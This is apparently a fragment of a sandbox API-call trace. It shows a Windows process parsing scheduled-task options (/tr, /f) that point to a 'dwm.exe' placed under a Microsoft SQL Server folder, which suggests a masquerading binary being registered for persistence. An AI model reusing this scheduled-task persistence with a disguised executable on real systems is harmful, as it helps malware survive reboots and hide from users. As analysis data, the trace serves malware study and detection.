lstrlenW (lpString="?") returned 1 [0105.130] lstrlenW (lpString="?") returned 1 [0105.130] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.131] lstrlenW (lpString="tr") returned 2 [0105.131] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.131] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|?|") returned 3 [0105.131] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tr|") returned 4 [0105.131] lstrlenW (lpString="|?|") returned 3 [0105.131] lstrlenW (lpString="|tr|") returned 4 [0105.131] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.131] lstrlenW (lpString="create") returned 6 [0105.131] lstrlenW (lpString="create") returned 6 [0105.131] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.131] lstrlenW (lpString="tr") returned 2 [0105.131] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.131] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|create|") returned 8 [0105.131] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tr|") returned 4 [0105.131] lstrlenW (lpString="|create|") returned 8 [0105.131] lstrlenW (lpString="|tr|") returned 4 [0105.131] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0105.131] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.131] lstrlenW (lpString="delete") returned 6 [0105.131] lstrlenW (lpString="delete") returned 6 [0105.131] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.131] lstrlenW (lpString="tr") returned 2 [0105.131] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.131] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|delete|") returned 8 [0105.131] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tr|") returned 4 [0105.131] lstrlenW (lpString="|delete|") returned 8 [0105.132] lstrlenW (lpString="|tr|") returned 4 [0105.132] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0105.132] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.132] lstrlenW (lpString="query") returned 5 [0105.132] lstrlenW (lpString="query") returned 5 [0105.132] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.132] lstrlenW (lpString="tr") returned 2 [0105.132] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.132] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|query|") returned 7 [0105.132] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tr|") returned 4 [0105.132] lstrlenW (lpString="|query|") returned 7 [0105.132] lstrlenW (lpString="|tr|") returned 4 [0105.132] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0105.132] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.132] lstrlenW (lpString="change") returned 6 [0105.132] lstrlenW (lpString="change") returned 6 [0105.132] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.132] lstrlenW (lpString="tr") returned 2 [0105.132] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.132] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|change|") returned 8 [0105.132] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tr|") returned 4 [0105.132] lstrlenW (lpString="|change|") returned 8 [0105.132] lstrlenW (lpString="|tr|") returned 4 [0105.132] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0105.132] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.132] lstrlenW (lpString="run") returned 3 [0105.132] lstrlenW (lpString="run") returned 3 [0105.133] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.133] lstrlenW (lpString="tr") returned 2 [0105.133] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.133] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|run|") returned 5 [0105.133] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tr|") returned 4 [0105.133] lstrlenW (lpString="|run|") returned 5 [0105.133] lstrlenW (lpString="|tr|") returned 4 [0105.133] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0105.133] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.133] lstrlenW (lpString="end") returned 3 [0105.133] lstrlenW (lpString="end") returned 3 [0105.133] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.133] lstrlenW (lpString="tr") returned 2 [0105.133] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.133] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|end|") returned 5 [0105.133] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tr|") returned 4 [0105.133] lstrlenW (lpString="|end|") returned 5 [0105.133] lstrlenW (lpString="|tr|") returned 4 [0105.133] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0105.133] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.133] lstrlenW (lpString="showsid") returned 7 [0105.133] lstrlenW (lpString="showsid") returned 7 [0105.133] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.133] lstrlenW (lpString="tr") returned 2 [0105.133] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.133] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|showsid|") returned 9 [0105.134] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x5, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|tr|") returned 4 [0105.134] lstrlenW (lpString="|showsid|") returned 9 [0105.134] lstrlenW (lpString="|tr|") returned 4 [0105.134] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] lstrlenW (lpString="/tr") returned 3 [0105.134] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] lstrlenW (lpString="/tr") returned 3 [0105.134] GetProcessHeap () returned 0x2008f450000 [0105.134] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x8) returned 0x2008f4542f0 [0105.134] GetProcessHeap () returned 0x2008f450000 [0105.134] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b720 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.134] lstrlenW (lpString="-/") returned 2 [0105.134] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.134] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.134] StrChrIW (lpStart="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'" [0105.134] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.134] GetProcessHeap () returned 0x2008f450000 [0105.134] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f454310 [0105.134] _memicmp (_Buf1=0x2008f454310, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.135] GetProcessHeap () returned 0x2008f450000 [0105.135] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0xe) returned 0x2008f45aa70 [0105.135] GetProcessHeap () returned 0x2008f450000 [0105.135] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x18) returned 0x2008f45a990 [0105.135] _memicmp (_Buf1=0x2008f45a990, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.135] GetProcessHeap () returned 0x2008f450000 [0105.135] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x78) returned 0x2008f453b50 [0105.135] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.135] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.135] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.135] lstrlenW (lpString="'C") returned 2 [0105.135] lstrlenW (lpString="-/") returned 2 [0105.135] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0105.135] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.135] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.135] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.135] lstrlenW (lpString="'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'") returned 58 [0105.135] GetProcessHeap () returned 0x2008f450000 [0105.135] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x76) returned 0x2008f453bd0 [0105.135] GetProcessHeap () returned 0x2008f450000 [0105.135] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b570 [0105.135] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.135] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.135] lstrlenW (lpString="/f") returned 2 [0105.135] lstrlenW (lpString="-/") returned 2 [0105.135] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0105.135] lstrlenW (lpString="?") returned 1 [0105.135] lstrlenW (lpString="?") returned 1 [0105.136] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.136] lstrlenW (lpString="f") returned 1 [0105.136] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.136] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|?|") returned 3 [0105.136] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|f|") returned 3 [0105.136] lstrlenW (lpString="|?|") returned 3 [0105.136] lstrlenW (lpString="|f|") returned 3 [0105.136] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0105.136] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.136] lstrlenW (lpString="create") returned 6 [0105.136] lstrlenW (lpString="create") returned 6 [0105.136] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.136] lstrlenW (lpString="f") returned 1 [0105.136] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.136] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|create|") returned 8 [0105.136] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|f|") returned 3 [0105.136] lstrlenW (lpString="|create|") returned 8 [0105.136] lstrlenW (lpString="|f|") returned 3 [0105.136] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0105.136] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.136] lstrlenW (lpString="delete") returned 6 [0105.136] lstrlenW (lpString="delete") returned 6 [0105.136] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.137] lstrlenW (lpString="f") returned 1 [0105.137] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.137] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|delete|") returned 8 [0105.137] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|f|") returned 3 [0105.137] lstrlenW (lpString="|delete|") returned 8 [0105.137] lstrlenW (lpString="|f|") returned 3 [0105.137] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0105.137] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.137] lstrlenW (lpString="query") returned 5 [0105.137] lstrlenW (lpString="query") returned 5 [0105.137] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.137] lstrlenW (lpString="f") returned 1 [0105.137] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.137] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x8, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|query|") returned 7 [0105.137] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|f|") returned 3 [0105.137] lstrlenW (lpString="|query|") returned 7 [0105.137] lstrlenW (lpString="|f|") returned 3 [0105.137] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0105.137] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.137] lstrlenW (lpString="change") returned 6 [0105.137] lstrlenW (lpString="change") returned 6 [0105.137] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.137] lstrlenW (lpString="f") returned 1 [0105.137] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.138] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x9, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|change|") returned 8 [0105.138] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|f|") returned 3 [0105.138] lstrlenW (lpString="|change|") returned 8 [0105.138] lstrlenW (lpString="|f|") returned 3 [0105.138] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0105.138] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.138] lstrlenW (lpString="run") returned 3 [0105.138] lstrlenW (lpString="run") returned 3 [0105.138] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.138] lstrlenW (lpString="f") returned 1 [0105.138] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.138] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|run|") returned 5 [0105.138] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|f|") returned 3 [0105.138] lstrlenW (lpString="|run|") returned 5 [0105.138] lstrlenW (lpString="|f|") returned 3 [0105.138] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0105.138] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.138] lstrlenW (lpString="end") returned 3 [0105.138] lstrlenW (lpString="end") returned 3 [0105.143] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.143] lstrlenW (lpString="f") returned 1 [0105.143] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.143] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0x6, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|end|") returned 5 [0105.143] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|f|") returned 3 [0105.143] lstrlenW (lpString="|end|") returned 5 [0105.143] lstrlenW (lpString="|f|") returned 3 [0105.144] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0105.144] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.144] lstrlenW (lpString="showsid") returned 7 [0105.144] lstrlenW (lpString="showsid") returned 7 [0105.144] _memicmp (_Buf1=0x2008f453f60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.144] lstrlenW (lpString="f") returned 1 [0105.144] _memicmp (_Buf1=0x2008f4538e0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0105.144] _vsnwprintf (in: _Buffer=0x2008f453920, _BufferCount=0xa, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|showsid|") returned 9 [0105.144] _vsnwprintf (in: _Buffer=0x2008f453900, _BufferCount=0x4, _Format="|%s|", _ArgList=0xcd0876f808 | out: _Buffer="|f|") returned 3 [0105.144] lstrlenW (lpString="|showsid|") returned 9 [0105.144] lstrlenW (lpString="|f|") returned 3 [0105.144] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0105.144] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.144] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.144] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.144] lstrlenW (lpString="/f") returned 2 [0105.144] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0105.144] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.144] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.144] lstrlenW (lpString="/f") returned 2 [0105.144] GetProcessHeap () returned 0x2008f450000 [0105.144] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x6) returned 0x2008f454330 [0105.144] GetProcessHeap () returned 0x2008f450000 [0105.144] RtlAllocateHeap (HeapHandle=0x2008f450000, Flags=0xc, Size=0x20) returned 0x2008f45b750 [0105.144] RtlRestoreLastWin32Error () returned 0xcd08815000 [0105.144] GetProcessHeap () returned 0x2008f450000 [0105.144] GetProcessHeap () returned 0x2008f450000 [0105.145] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4538c0) returned 1 [0105.145] GetProcessHeap () returned 0x2008f450000 [0105.145] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4538c0) returned 0x8 [0105.145] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4538c0) returned 1 [0105.145] GetProcessHeap () returned 0x2008f450000 [0105.145] GetProcessHeap () returned 0x2008f450000 [0105.145] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b8a0) returned 1 [0105.145] GetProcessHeap () returned 0x2008f450000 [0105.145] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b8a0) returned 0x20 [0105.146] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b8a0) returned 1 [0105.146] GetProcessHeap () returned 0x2008f450000 [0105.146] GetProcessHeap () returned 0x2008f450000 [0105.146] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453950) returned 1 [0105.146] GetProcessHeap () returned 0x2008f450000 [0105.146] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f453950) returned 0xa [0105.146] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f453950) returned 1 [0105.146] GetProcessHeap () returned 0x2008f450000 [0105.146] GetProcessHeap () returned 0x2008f450000 [0105.146] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45bae0) returned 1 [0105.146] GetProcessHeap () returned 0x2008f450000 [0105.146] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45bae0) returned 0x20 [0105.147] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45bae0) returned 1 [0105.147] GetProcessHeap () returned 0x2008f450000 [0105.147] GetProcessHeap () returned 0x2008f450000 [0105.147] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454270) returned 1 [0105.147] GetProcessHeap () returned 0x2008f450000 [0105.147] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454270) returned 0x8 [0105.147] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454270) returned 1 [0105.147] GetProcessHeap () returned 0x2008f450000 [0105.147] GetProcessHeap () returned 0x2008f450000 [0105.147] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b630) returned 1 [0105.147] GetProcessHeap () returned 0x2008f450000 [0105.147] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b630) returned 0x20 [0105.147] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b630) returned 1 [0105.148] GetProcessHeap () returned 0x2008f450000 [0105.148] GetProcessHeap () returned 0x2008f450000 [0105.148] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454290) returned 1 [0105.148] GetProcessHeap () returned 0x2008f450000 [0105.148] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454290) returned 0xe [0105.148] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454290) returned 1 [0105.148] GetProcessHeap () returned 0x2008f450000 [0105.148] GetProcessHeap () returned 0x2008f450000 [0105.148] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b660) returned 1 [0105.148] GetProcessHeap () returned 0x2008f450000 [0105.148] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b660) returned 0x20 [0105.148] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b660) returned 1 [0105.148] GetProcessHeap () returned 0x2008f450000 [0105.148] GetProcessHeap () returned 0x2008f450000 [0105.148] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4542b0) returned 1 [0105.149] GetProcessHeap () returned 0x2008f450000 [0105.149] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4542b0) returned 0x8 [0105.149] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4542b0) returned 1 [0105.149] GetProcessHeap () returned 0x2008f450000 [0105.149] GetProcessHeap () returned 0x2008f450000 [0105.149] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b420) returned 1 [0105.149] GetProcessHeap () returned 0x2008f450000 [0105.149] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b420) returned 0x20 [0105.149] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b420) returned 1 [0105.149] GetProcessHeap () returned 0x2008f450000 [0105.149] GetProcessHeap () returned 0x2008f450000 [0105.149] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4542d0) returned 1 [0105.149] GetProcessHeap () returned 0x2008f450000 [0105.149] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4542d0) returned 0x6 [0105.150] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4542d0) returned 1 [0105.150] GetProcessHeap () returned 0x2008f450000 [0105.150] GetProcessHeap () returned 0x2008f450000 [0105.150] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b6f0) returned 1 [0105.150] GetProcessHeap () returned 0x2008f450000 [0105.150] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b6f0) returned 0x20 [0105.150] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b6f0) returned 1 [0105.150] GetProcessHeap () returned 0x2008f450000 [0105.150] GetProcessHeap () returned 0x2008f450000 [0105.150] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4542f0) returned 1 [0105.150] GetProcessHeap () returned 0x2008f450000 [0105.150] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4542f0) returned 0x8 [0105.150] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4542f0) returned 1 [0105.150] GetProcessHeap () returned 0x2008f450000 [0105.150] GetProcessHeap () returned 0x2008f450000 [0105.150] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b720) returned 1 [0105.150] GetProcessHeap () returned 0x2008f450000 [0105.151] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b720) returned 0x20 [0105.151] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b720) returned 1 [0105.151] GetProcessHeap () returned 0x2008f450000 [0105.151] GetProcessHeap () returned 0x2008f450000 [0105.151] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453bd0) returned 1 [0105.151] GetProcessHeap () returned 0x2008f450000 [0105.151] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f453bd0) returned 0x76 [0105.152] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f453bd0) returned 1 [0105.152] GetProcessHeap () returned 0x2008f450000 [0105.152] GetProcessHeap () returned 0x2008f450000 [0105.152] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b570) returned 1 [0105.152] GetProcessHeap () returned 0x2008f450000 [0105.152] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b570) returned 0x20 [0105.152] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b570) returned 1 [0105.153] GetProcessHeap () returned 0x2008f450000 [0105.153] GetProcessHeap () returned 0x2008f450000 [0105.153] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454330) returned 1 [0105.153] GetProcessHeap () returned 0x2008f450000 [0105.153] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454330) returned 0x6 [0105.153] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454330) returned 1 [0105.153] GetProcessHeap () returned 0x2008f450000 [0105.153] GetProcessHeap () returned 0x2008f450000 [0105.153] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b750) returned 1 [0105.153] GetProcessHeap () returned 0x2008f450000 [0105.153] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b750) returned 0x20 [0105.154] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b750) returned 1 [0105.154] GetProcessHeap () returned 0x2008f450000 [0105.154] GetProcessHeap () returned 0x2008f450000 [0105.161] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f456090) returned 1 [0105.161] GetProcessHeap () returned 0x2008f450000 [0105.161] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f456090) returned 0x18 [0105.161] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f456090) returned 1 [0105.162] 